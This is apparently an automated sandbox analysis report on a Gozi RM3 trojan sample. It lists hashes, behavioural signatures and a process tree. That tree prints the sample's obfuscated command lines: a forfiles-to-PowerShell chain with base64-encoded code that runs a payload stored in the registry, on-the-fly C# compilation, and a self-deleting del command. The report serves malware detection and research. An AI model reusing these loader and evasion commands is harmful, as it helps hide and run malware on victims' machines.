Analysis

  • max time kernel
    4294235s
  • max time network
    196s
  • platform
    windows7_x64
  • resource
    win7-20220311-en
  • submitted
    15-03-2022 10:24

General

  • Target

    XqBTvE.exe

  • Size

    252KB

  • MD5

    defe731e1ca1092c08e5edd84404ed21

  • SHA1

    9c68ffba054067f51fbb172bc00d835e0014a073

  • SHA256

    ea10f282be1864ccfe204fcba69fea1b172213a5dc114ef46c629a1ea98c8c24

  • SHA512

    08f11f749847f0579b3e92502789bdabfb049f3fea304c0ff1affbed3a45b7ca7a2c88594ad0ec608c2495c6ef95906305a9cae102d9dc617929750ece7f63ba

Score
10/10

Malware Config

Extracted

Family

gozi_rm3

Attributes
  • build

    300994

Signatures

  • Gozi RM3

    A heavily modified version of Gozi using RM3 loader.

  • Uses Tor communications 1 TTPs

    Malware can proxy its traffic through Tor for more anonymity.

  • Drops file in System32 directory 3 IoCs
  • Delays execution with timeout.exe 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 50 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 11 IoCs
  • Suspicious use of SetWindowsHookEx 44 IoCs
  • Suspicious use of WriteProcessMemory 40 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1252
      • C:\Users\Admin\AppData\Local\Temp\XqBTvE.exe
        "C:\Users\Admin\AppData\Local\Temp\XqBTvE.exe"
        2⤵
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of WriteProcessMemory
        PID:2024
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c start /min forfiles /c "cmd /k @path -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwAUwBlAGMAdQByAGkAdAB5AGMAYQBjAGgAZQAnACkALgBMAA== & exit" /p C:\Windows\system32 /s /m po*l.e*e
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1316
        • C:\Windows\system32\forfiles.exe
          forfiles /c "cmd /k @path -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwAUwBlAGMAdQByAGkAdAB5AGMAYQBjAGgAZQAnACkALgBMAA== & exit" /p C:\Windows\system32 /s /m po*l.e*e
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:628
          • C:\Windows\system32\cmd.exe
            /k "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwAUwBlAGMAdQByAGkAdAB5AGMAYQBjAGgAZQAnACkALgBMAA== & exit
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1744
            • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
              C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwAUwBlAGMAdQByAGkAdAB5AGMAYQBjAGgAZQAnACkALgBMAA==
              5⤵
              • Drops file in System32 directory
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1768
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -E JwBwAGEAcgBhAG0AKAAkAG8AdgB0AHMAbAB5ACkAOwBbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABvAHYAdABzAGwAeQApACcA
                6⤵
                • Drops file in System32 directory
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1424
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -E JwBwAGEAcgBhAG0AKAAkAHAAYgBmAG0AYwBnAHQAcwB1AGYAbQApADsAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHAAYgBmAG0AYwBnAHQAcwB1AGYAbQApACcA
                6⤵
                • Drops file in System32 directory
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:912
              • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\j03_qgpn.cmdline"
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:824
                • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBC9C.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCBC9B.tmp"
                  7⤵
                    PID:964
                • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
                  "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pibgysdr.cmdline"
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1712
                  • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
                    C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBD57.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCBD56.tmp"
                    7⤵
                      PID:1936
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /C timeout /t 5 && del "C:\USERS\ADMIN\APPDATA\LOCAL\TEMP\XQBTVE.EXE"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1468
            • C:\Windows\system32\timeout.exe
              timeout /t 5
              3⤵
              • Delays execution with timeout.exe
              PID:240
        • C:\Program Files\Internet Explorer\iexplore.exe
          "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
          1⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:548
          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:548 CREDAT:275457 /prefetch:2
            2⤵
            • Modifies Internet Explorer settings
            • Suspicious use of SetWindowsHookEx
            PID:2004
          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:548 CREDAT:734213 /prefetch:2
            2⤵
            • Modifies Internet Explorer settings
            • Suspicious use of SetWindowsHookEx
            PID:1612

        Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        • memory/912-96-0x00000000022B4000-0x00000000022B7000-memory.dmp

          Filesize

          12KB

        • memory/912-97-0x000007FEF5460000-0x000007FEF5DFD000-memory.dmp

          Filesize

          9.6MB

        • memory/912-93-0x000007FEF5460000-0x000007FEF5DFD000-memory.dmp

          Filesize

          9.6MB

        • memory/912-95-0x00000000022B0000-0x00000000022B2000-memory.dmp

          Filesize

          8KB

        • memory/912-94-0x00000000022BB000-0x00000000022DA000-memory.dmp

          Filesize

          124KB

        • memory/912-92-0x000007FEF2FF0000-0x000007FEF3B4D000-memory.dmp

          Filesize

          11.4MB

        • memory/1252-113-0x0000000002A90000-0x0000000002AA5000-memory.dmp

          Filesize

          84KB

        • memory/1252-112-0x0000000002AB0000-0x0000000002AC5000-memory.dmp

          Filesize

          84KB

        • memory/1424-88-0x0000000002644000-0x0000000002647000-memory.dmp

          Filesize

          12KB

        • memory/1424-82-0x000007FEF2FF0000-0x000007FEF3B4D000-memory.dmp

          Filesize

          11.4MB

        • memory/1424-86-0x000007FEF5460000-0x000007FEF5DFD000-memory.dmp

          Filesize

          9.6MB

        • memory/1424-87-0x0000000002642000-0x0000000002644000-memory.dmp

          Filesize

          8KB

        • memory/1424-89-0x000000000264B000-0x000000000266A000-memory.dmp

          Filesize

          124KB

        • memory/1424-85-0x0000000002640000-0x0000000002642000-memory.dmp

          Filesize

          8KB

        • memory/1424-84-0x000007FEF5460000-0x000007FEF5DFD000-memory.dmp

          Filesize

          9.6MB

        • memory/1768-76-0x000007FEF5460000-0x000007FEF5DFD000-memory.dmp

          Filesize

          9.6MB

        • memory/1768-110-0x000000001B660000-0x000000001B673000-memory.dmp

          Filesize

          76KB

        • memory/1768-78-0x0000000002564000-0x0000000002567000-memory.dmp

          Filesize

          12KB

        • memory/1768-77-0x0000000002562000-0x0000000002564000-memory.dmp

          Filesize

          8KB

        • memory/1768-83-0x000000000256B000-0x000000000258A000-memory.dmp

          Filesize

          124KB

        • memory/1768-75-0x0000000002560000-0x0000000002562000-memory.dmp

          Filesize

          8KB

        • memory/1768-74-0x000007FEF5460000-0x000007FEF5DFD000-memory.dmp

          Filesize

          9.6MB

        • memory/1768-73-0x000007FEF2FF0000-0x000007FEF3B4D000-memory.dmp

          Filesize

          11.4MB

        • memory/1768-72-0x000007FEFB8B1000-0x000007FEFB8B3000-memory.dmp

          Filesize

          8KB

        • memory/2024-65-0x00000000002E0000-0x00000000002E2000-memory.dmp

          Filesize

          8KB

        • memory/2024-59-0x00000000002B0000-0x00000000002C0000-memory.dmp

          Filesize

          64KB

        • memory/2024-58-0x0000000001000000-0x000000000106F000-memory.dmp

          Filesize

          444KB

        • memory/2024-57-0x0000000075AD1000-0x0000000075AD3000-memory.dmp

          Filesize

          8KB

        • memory/2024-54-0x000000000032E000-0x0000000000339000-memory.dmp

          Filesize

          44KB

        • memory/2024-111-0x00000000002E0000-0x00000000002FA000-memory.dmp

          Filesize

          104KB

        • memory/2024-56-0x00000000002A0000-0x00000000002AC000-memory.dmp

          Filesize

          48KB

        • memory/2024-55-0x000000000032E000-0x0000000000339000-memory.dmp

          Filesize

          44KB